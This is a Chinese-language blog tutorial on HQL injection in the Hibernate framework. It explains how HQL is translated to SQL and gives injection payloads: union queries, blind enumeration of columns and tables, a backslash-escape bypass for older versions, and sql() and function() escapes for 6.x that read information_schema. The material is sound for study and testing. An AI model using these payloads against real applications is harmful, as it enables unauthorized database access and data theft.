Featured image of post HQL注入

HQL注入

HQL注入(Hibernate框架)

Hibernate是一种ORM框架,它是支持使用原生SQL或HQL语言(Hibernate框架自己的语言)进行SQL操作的

通常使用Hibernate框架都是使用HQL语言方式进行查询

1、原生SQL语句

1
2
3
String parameter = req.getParameter("name");
Query query = session.createSQLQuery("SELECT table_name FROM information_schema.tables where table_schema=?");
query.setParameter(1, parameter);

2、HQL语句

将数据库tables映射为相关的类,通过此类进行数据查询,使用的是HQL自己的语言

1
2
3
String parameter = req.getParameter("name");
Query query = session.createQuery("from com.demo.bean.User where tableschema = ?1", User.class);
query.setParameter(1, parameter);

1、Hibernate框架首先会去解析createQuery()函数中语句是否符合HQL语法,不符合则会HQL语法错误

2、符合HQL语法后,HQL框架会将语句解析成对应数据库的原生SQL语句

3、最后将原生SQL语句去数据库中进行查询获取结果,此时原生SQL语句如果不正确则会导致数据库层面的报错(不同数据库则是不同的报错了)

1
2
3
1、information_schema.tables表名映射为com.demo.bean.User类
2、table_name字段映射为tablename
3、table_schema字段映射为tableschema

简单HQL层面注入

union查询在5.6.15版本之前不支持

1
name=mysql' union select 1,'2   #报错

6.x版本开始支持union查询,但是也只能利用HQL语法

1
name=mysql' union from User where '1'='1

不能使用单行注释#+--+

1
2
3
?name=mysql'and/**/'1'='1'+--+  #报错
?name=mysql'and/**/'1'='1'#         #报错
?name=mysql'and#%0d%0a'1'='1        #报错

不支持*查询

1
?name=mysql' and (select * from User where tablename='user')='user

怎么查询:

1、如果有报错信息的话,那就根据报错回显去看表名、列名,根据表名进行盲注或报错注入查询数据。或者根据回显去猜测可能存在的表名和列名,然后进行查询数据

2、如果没有报错信息的话

使用and或or进行列名的枚举

1
?name=mysql' and xxxxx = '1

使用子查询进行表名枚举

1
?name=mysql'or+(select+1+from+XXXX+where+1=2)='1

HQL注入的常见类型可以总结为两种:布尔盲注和报错注入。

HQL注入需要两次or

逃逸HQL层面注入

低于5.x版本逃逸

1、在5.6.15之前,WHERE子句中是可以使用用户自定义函数的,这就说明数据库本身的函数也是可以使用的

1
2
updatexml()
version()

2、在5.6.15版本之前,存在着对单引号转义的差异导致的逃逸问题

在HQL语言,字符串和常规SQL语句一样都是使用单引号包裹

1
from Tables where name = 'mysql'

引擎是不会对字符串里面的内容进行解析的

当在字符串中加入一个转译字符

1
from Tables where name = 'mysql\'

HQL引擎是不识别转译字符\的,它会将tony\作为一个字符串,原封不动的转为mysql语句

此处就导致了一个差异,mysql是识别转译字符的,所以爆了语法错误

然后利用这个差异,构造一个HQL以为是字符串,但转为mysql变成语句的POC即可

1
mysql\''and+1=2+union+select+user(),version()#

拼接HQL语句,此时mysql\''and+1=2+union+select+user(),version()#是一整个字符串,所以引擎不去解析

1
from Tables where name = 'mysql\''and+1=2+union+select+user(),version()#'

转为sql语句,这样就在低于5.x的版本实现用union进行注入

高于6.x 版本逃逸

1、从6.0.1.Final版本开始,测试发现转译符\失效

所以无法用\来逃逸

2、在6.x版本中发现新增了一个sql()函数,在5.x版本是不支持的

意思就是可以执行SQL语句,主要是两种方式

1
2
sql('select 1,2,3')
sql('select 1,2,?','3')

1、第一种是将函数里面的字符串直接拼接SQL语句中,然后去执行

2、第二种就是将后面参数预编译替换占位符?,然后再拼接到SQL语句中执行

1
?name=mysql' and sql('1=2 union select table_name,table_schema from information_schema.tables#')='1

通用版本逃逸

有一个函数在5.x和6.x都能使用,那就是JPQL语言的function()函数

在Hibernate框架中是同时支持JPQL语言和HQL语言的

function()函数是用来调用自定义函数或数据库自带函数的,和某些动态函数调用差不多吧

1
2
3
4
function('version') => version()
function('updatexml',1,1,1) => updatexml(1,1,1)
function('aaaa''bbbb',1,1,1) => aaaa''bbbb(1,1,1) 5.x版本
function('aaaa''bbbb',1,1,1) => aaaa'bbbb(1,1,1)  6.x版本

它首先将第一参数作为函数名,随后拼接一个括号,后面的参数则是括号里的内容

function()函数的利用和sql()函数一样,是直接拼接在解析后的SQL语句中的,而且第一参数的内容没有任何限制

这样就可以构造一个可利用POC了

1
?name=mysql' and function('1=2 union select table_name,table_schema from information_schema.tables#')='
Licensed under 9u_l3
使用 Hugo 构建
主题 StackJimmy 设计